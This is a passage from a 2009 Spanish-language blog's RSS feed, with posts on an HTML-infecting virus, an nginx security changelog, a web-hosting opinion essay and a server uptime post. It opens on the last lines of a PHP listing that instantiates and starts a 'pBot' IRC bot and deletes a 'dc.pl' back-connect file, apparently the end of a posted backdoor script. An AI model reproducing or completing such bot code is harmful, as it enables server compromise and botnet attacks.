&nbsp; &nbsp; &nbsp; <a href="http://www.php.net/unlink"><span style="color: #990000;">unlink</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;dc.pl&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; <span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span> <br />
<br />
<span style="color: #000088;">$bot</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> pBot<span style="color: #339933;">;</span> <br />
<span style="color: #000088;">$bot</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">start</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
]]></content:encoded>
			<wfw:commentRss>http://www.barrahome.org/2009/11/10/the-revenge-of-a-juacker/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Solucion al virus HTML iframe o con divs.</title>
		<link>http://www.barrahome.org/2009/10/09/solucion-al-virus-html-iframe-o-con-divs/</link>
		<comments>http://www.barrahome.org/2009/10/09/solucion-al-virus-html-iframe-o-con-divs/#comments</comments>
		<pubDate>Fri, 09 Oct 2009 05:51:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[/opt/blog/microsoft]]></category>
		<category><![CDATA[/opt/blog/security]]></category>
		<category><![CDATA[/opt/blog/virus]]></category>

		<guid isPermaLink="false">http://www.barrahome.org/?p=70</guid>
		<description><![CDATA[Hace bastante esta dando vueltas un virus que intercepta e infecta archivos HTML en equipos con Microsoft Windows, XP o Vista o 7, la versión la lo mismo, el problema en cuestión puede solucionarse simplemente instalando este software llamado Spybot-S&#038;D. &#8230; <a href="http://www.barrahome.org/2009/10/09/solucion-al-virus-html-iframe-o-con-divs/">Sigue leyendo <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Hace bastante esta dando vueltas un virus que intercepta e infecta archivos HTML en equipos con Microsoft Windows, XP o Vista o 7, la versión la lo mismo, el problema en cuestión puede solucionarse simplemente instalando <a href="http://www.safer-networking.org/es/download/index.html">este</a> software llamado Spybot-S&#038;D.</p>
<p>No esperen instrucciones dado que esto es una respuesta publica a los emails que me arribaron con consultas sobre dicho tema. El resto esta por su cuenta, cabe destacar que esto con Linux no sucede <img src='http://www.barrahome.org/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.barrahome.org/2009/10/09/solucion-al-virus-html-iframe-o-con-divs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>nginx &#8211; Múltiples Vulnerabilidades</title>
		<link>http://www.barrahome.org/2009/09/17/nginx-multiples-vulnerabilidades/</link>
		<comments>http://www.barrahome.org/2009/09/17/nginx-multiples-vulnerabilidades/#comments</comments>
		<pubDate>Fri, 18 Sep 2009 02:30:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[/opt/blog/linux]]></category>
		<category><![CDATA[/opt/blog/opensource]]></category>
		<category><![CDATA[/opt/blog/security]]></category>
		<category><![CDATA[/opt/blog/webservers]]></category>

		<guid isPermaLink="false">http://www.barrahome.org/?p=60</guid>
		<description><![CDATA[Para los que usamos nginx les recomiendo descargarlo nuevamente ya que trae algunos arreglos de índole críticos, acá pueden ver la lista de cambios la cual copie &#38; pegue para los vagos. *) Security: a segmentation fault might occur in &#8230; <a href="http://www.barrahome.org/2009/09/17/nginx-multiples-vulnerabilidades/">Sigue leyendo <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Para los que usamos <a href="http://nginx.net">nginx</a> les recomiendo descargarlo nuevamente ya que trae algunos arreglos de índole críticos, acá pueden ver la lista de cambios la cual copie &amp; pegue para los vagos.</p>
<pre>    *) Security: a segmentation fault might occur in worker process while
       specially crafted request handling.
       Thanks to Chris Ries.

    *) Feature: the $upstream_cache_status variable.

    *) Bugfix: an expired cached response might stick in the "UPDATING"
       state.

    *) Bugfix: a segmentation fault might occur in worker process, if
       error_log was set to info or debug level.
       Thanks to Sergey Bochenkov.

    *) Bugfix: in handling FastCGI headers split in records.

    *) Bugfix: XSLT filter may fail with message "not well formed XML
       document" for valid XML document.
       Thanks to Kuramoto Eiji.

    *) Bugfix: now in MacOSX, Cygwin, and nginx/Windows locations given by
       a regular expression are always tested in case insensitive mode.

    *) Bugfix: now nginx/Windows ignores trailing dots in URI.
       Thanks to Hugo Leisink.

    *) Bugfix: name of file specified in --conf-path was not honored during
       installation; the bug had appeared in 0.6.6.
       Thanks to Maxim Dounin.

    *) Bugfix: a 500 error code was returned for invalid login/password
       while HTTP Basic authentication on Windows.

Las versiones afectadas son las inferiores a 0.7.62, 0.6.39, ó 0.5.38. Pueden descargar la nueva <a href="http://nginx.net/">aquí</a>.</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.barrahome.org/2009/09/17/nginx-multiples-vulnerabilidades/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Alojamiento Web y algo mas.</title>
		<link>http://www.barrahome.org/2009/09/12/un-poco-sobre-alojamiento-web/</link>
		<comments>http://www.barrahome.org/2009/09/12/un-poco-sobre-alojamiento-web/#comments</comments>
		<pubDate>Sat, 12 Sep 2009 10:18:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[/opt/blog/blogging]]></category>
		<category><![CDATA[/opt/blog/criticas]]></category>
		<category><![CDATA[/opt/blog/hosting]]></category>
		<category><![CDATA[/opt/blog/linux]]></category>
		<category><![CDATA[/opt/blog/parent]]></category>
		<category><![CDATA[/opt/blog/security]]></category>

		<guid isPermaLink="false">http://www.barrahome.org/?p=36</guid>
		<description><![CDATA[No soy bueno con las introducciones y menos para venderme a mi mismo, cito a Sebastián Criado, comentario entre amigos luego de mi primera charla de Apache Web Servers para Red47 hace algunos años atrás. Hoy pretendo hablar de algo &#8230; <a href="http://www.barrahome.org/2009/09/12/un-poco-sobre-alojamiento-web/">Sigue leyendo <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>No soy bueno con las introducciones y menos para venderme a mi mismo, cito a <a href="http://criadoindomable.wordpress.com/">Sebastián Criado</a>, comentario entre amigos luego de mi primera charla de Apache Web Servers para Red47 hace algunos años atrás.</p>
<p>Hoy pretendo hablar de algo que logre juntamente con alguien de vision técnica y comercial, <a href="http://www.rosariouser.com.ar/">Marcelo Abdala.</a></p>
<p><strong>Mi introducción</strong></p>
<p>Creo que todos intentamos hacer bien las cosas, aunque aveces <a href="http://www.barrahome.org/2006/12/13/dattatec-rosario-y-la-actualidad-es-mi-historia/">no nos salen como esperamos</a> y la vida aveces amarga nos cobra favores de vidas pasadas, simplifiquemos lo como karma. Cuando inicie mi labor en Dattatec la premisa fue siempre vender antes que crear algo estable <a href="http://www.google.com.ar/search?hl=es&amp;q=dattatec+mal+servicio">y los comentarios hoy día hablan por si solos</a>, luego ayudar en Dattatec, cuando este inicio en un mero VPS redhat 7.2 con 256 de ram y terminando entre lágrimas el haber entregado todo al proyecto, siempre defendiendo lo que creí correcto, aunque fuera al final para mi se inicio una nueva etapa, NaturalHost, otra vez en la parte técnica, planeando y planeando, semanas sin dormir por algo que termino en ruinas por el descontento de uno de los dueños, lección aprendida, mi siguiente proyecto seria 50% mio y la parte tecnica seria TAN O MAS importante que la imagen o el spam comercial, fue así que cerca del año 2004 Marcelo Abdala me convoco para <a href="http://www.argentinahost.com/">ArgentinaHost</a>.</p>
<p><strong>Cosas que suceden</strong></p>
<p>Creo que en mis años dedicados a destruir a nivel informático (contra seguridad) no disfrute tanto el defender como lo hago hoy. No puedo contar las veces que nos cambiaron archivos indice en Dattatec por la negativa a políticas agresivas de seguridad o por la falla de REDHAT en su entonces como plataforma de servidores,  mucho antes de que existiera tal como lo es hoy (para que no digan que esto es mala publicidad), pero luego de años y años la lección se aprendió (hace bastantes años ya, NO hoy). Un ambiente controlado de alojamientos compartidos, con mantenimiento y/o monitorización es posible, automatizando las tareas recurrentes las cuales nos quitan tiempo, usando try/catch en casa script o sistemas parecidos y dejando al administrador para velar por cosas mas importantes.</p>
<p>Así logramos controlar casos los cuales debieran ser desastres y no fueron, minimizando la emicion de spam a 0% y los riesgos de seguridad a casi ninguno (siempre esta el usuario final que tiene virus en la PC o al que le roban la cuenta por pishing).</p>
<p><strong>Lo que no me agrada</strong></p>
<p>Nuestro clásico pensamiento es, el precio esta relacionado a la calidad, bueno esto en gran medica muchas veces es cierto, una estructura se debe mantener y cuidar y no todo es ganancia si a la larga te vas a encontrar con problemas los cuales te van a salir mas caros por falta de inversión real en el proyecto.</p>
<p>Quiero para esta explicación poner un ejemplo el cual demuestra mi punto:</p>
<p>Yo soy fulanito, tengo una empresa que ofrece servicios varios, para mi la imagen de mi empresa es importante y decido ponerla en Internet para poder expandirme y lograr mas clientes.</p>
<p>Fulanito tiene el clásico perfil de persona que ama su empresa, se desvive y trabaja duro para lograr que salga adelante y marcar una diferencia, pero fulanito a la hora de comprar prefiere pagar 120$ (pesos argentinos) anuales, dado que para el 50 trimestrales son caros.</p>
<p>Esto nos demuestra algo:</p>
<ul>
<li>Fulanito no entiende de la importancia sobre la estabilidad y la calidad.</li>
</ul>
<blockquote><p>Ahora, si Fulanito tiene que comprar un traje, el mismo tiene que ser Armany o algún otro de ultima moda. Esta parte es la que mas me resulta irrisoria: ¿Porque subestimamos muchas veces a Internet como nuestra cara al mundo?.</p>
<p>Lo que me lleva a preguntar algo mas: ¿Tu empresa vale 120$ anuales? o ¿Realmente te importa tu empresa?.</p>
<p>Esto no quiere decir que exista &#8220;NIKE&#8221; en alojamiento web, sino que tendemos a pretender ahorrar en informática cuando lo que se debiera hacer es invertir en ella.</p></blockquote>
<p><strong>Lo que no se debe hacer</strong></p>
<p>Creo que esboce mi idea, no tomar a la ligera lo que en realidad es nuestra ventana al mundo, si usas un email de hotmail esta mal visto, sinceramente es cierto ya que no da buena imagen, si vendes Pepsi no tenes un email @CocaCola <img src='http://www.barrahome.org/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  .</p>
<p>Invertir en seguridad deber ser siempre nuestra prioridad, promover también estándares libres de software el cual no nos prive de libertad de datos y muchas cosas mas.</p>
<p>Mi punto sobre esto ultimo es: Fulatino en el mayor de los casos no tiene licencias de software compradas, por ende demuestra que no le importa realmente lo que suceda con su empresa a nivel informático, así su continuidad dependiera de ello, dado que no pagaría los 800$ pesos que vale un XP realmente, menos otro precio por su alojamiento web con mayor seguridad, estabilidad y prestaciones, porque para fulanito  la informática es cosa de Nerds y si algun muchacho mal intencionado lo deja fuera de servicio o pone cartelitos obscenos simplemente los reemplaza y paga como buen argentino que es.</p>
<p>Por suerte para mi, la seguridad y estabilidad significa mas que un proveedor con emails de <a href="http://alt-tab.com.ar/hosting-para-pajeros/">chicas desnudas </a>el cual puede quedar sin servicio cuando cualquiera con dos gramos de cerebro lo quiera así.</p>
<p>No se debe tomar mi critica como amenaza ni parecido, sinceramente hace poco la bronca me abrumo, los fantasmas del pasado buscan a través de <a href="http://es.wikipedia.org/wiki/DDoS">medios distintos </a>dejarme sin servicio, dado que no pueden explotar vulnerabilidades que no existen, y contratan personal para hacer sucios trabajos, pero como se dice en la jerga &#8220;en la calle nos conocemos todos&#8221; y verán .. yo estuve ahí, fui uno de ellos y elegí otro camino y cuando veo la tormenta se de donde viene y cuando abrir el paraguas.</p>
<p>Por suerte la infraestructura que nos brinda <a href="http://www.argentinahost.com/">ArgentinaHost </a>hoy por hoy nos permite darnos el lujo de perder unos cientos de <a href="http://es.wikipedia.org/wiki/Terabyte">TeraBytes </a>y aguantar la cachetada sin ceder a la presión de los malos en contra seguridad informática.</p>
<p>También me siento feliz al ver que nuestra mesa de soporte esta vacía, creo que el servicio denota calidad cuando no hay quejas de los clientes y los problemas se revuelven al instante. Aunque mayormente son de usabilidad o ignorancia informática, algo que se combate con un excelente equipo dando soporte técnico permanente.</p>
<p>Cabe destacar también la labor de nuestro proveedor de años, quien nos aloja nuestros <a href="http://es.wikipedia.org/wiki/Rack">racks</a> donde los servidores están conectados a múltiples lineas de fibra óptica, dando algo mas que una salida nacional (así es señores, muchas veces es mas importante contar con varias conexiones a que sufrir a manos de un único proveedor), lo cual permite ofrecer un servicio sin intermitencias a mayor calidad que el de uno nacional, teniendo en cuenta algo lo cual muchos no ven hoy en realidad: Proveedores de conexión a Internet en Argentina están &#8220;Peleados&#8221; entre si, mala latencia entre Telecom, Fibertel, Speedy, Telmex, Iplan, Global Crossing y los demás dependientes de estos mismos lo cual afecta a los proveedores de alojamiento web con equipos únicamente en argentina <img src='http://www.barrahome.org/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  .</p>
<p>Y eso es todo por ahora&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.barrahome.org/2009/09/12/un-poco-sobre-alojamiento-web/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Felices&#8230; ¡400 dias corriendo!</title>
		<link>http://www.barrahome.org/2009/09/09/felices-%c2%a1400-dias-corriendo/</link>
		<comments>http://www.barrahome.org/2009/09/09/felices-%c2%a1400-dias-corriendo/#comments</comments>
		<pubDate>Wed, 09 Sep 2009 05:42:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[/opt/blog/hosting]]></category>
		<category><![CDATA[/opt/blog/linux]]></category>
		<category><![CDATA[/opt/blog/security]]></category>

		<guid isPermaLink="false">http://www.barrahome.org/?p=28</guid>
		<description><![CDATA[Y si&#8230; aca esta esta&#8230;. albertof@sewer[~]# uptime 22:36:54 up 401 days,  2:39,  1 user,  load average: 0.75, 0.61, 0.58 albertof@sewer[~]# Un modesto Intel(R) Xeon(R) CPU E5310  @ 1.60GHz, con 4 GB de ram y 1 TB de disco. Felicidades y &#8230; <a href="http://www.barrahome.org/2009/09/09/felices-%c2%a1400-dias-corriendo/">Sigue leyendo <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Y si&#8230; aca esta esta&#8230;.</p>
<p><strong>albertof@sewer[~]# uptime<br />
22:36:54 up 401 days,  2:39,  1 user,  load average: 0.75, 0.61, 0.58<br />
</strong><strong>albertof</strong><strong>@</strong><strong>sewer</strong><strong>[~]#</strong></p>
<p>Un modesto Intel(R) Xeon(R) CPU E5310  @ 1.60GHz, con 4 GB de ram y 1 TB de disco.</p>
<p>Felicidades y que cumplas 400 mas <img src='http://www.barrahome.org/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>PD: No voy a decir cual es porque siempre esta el divino genio prospecto de contra seguridad informatica que intenta tirarlo, quiero que siga corriendo sin problemas <img src='http://www.barrahome.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.barrahome.org/2009/09/09/felices-%c2%a1400-dias-corriendo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

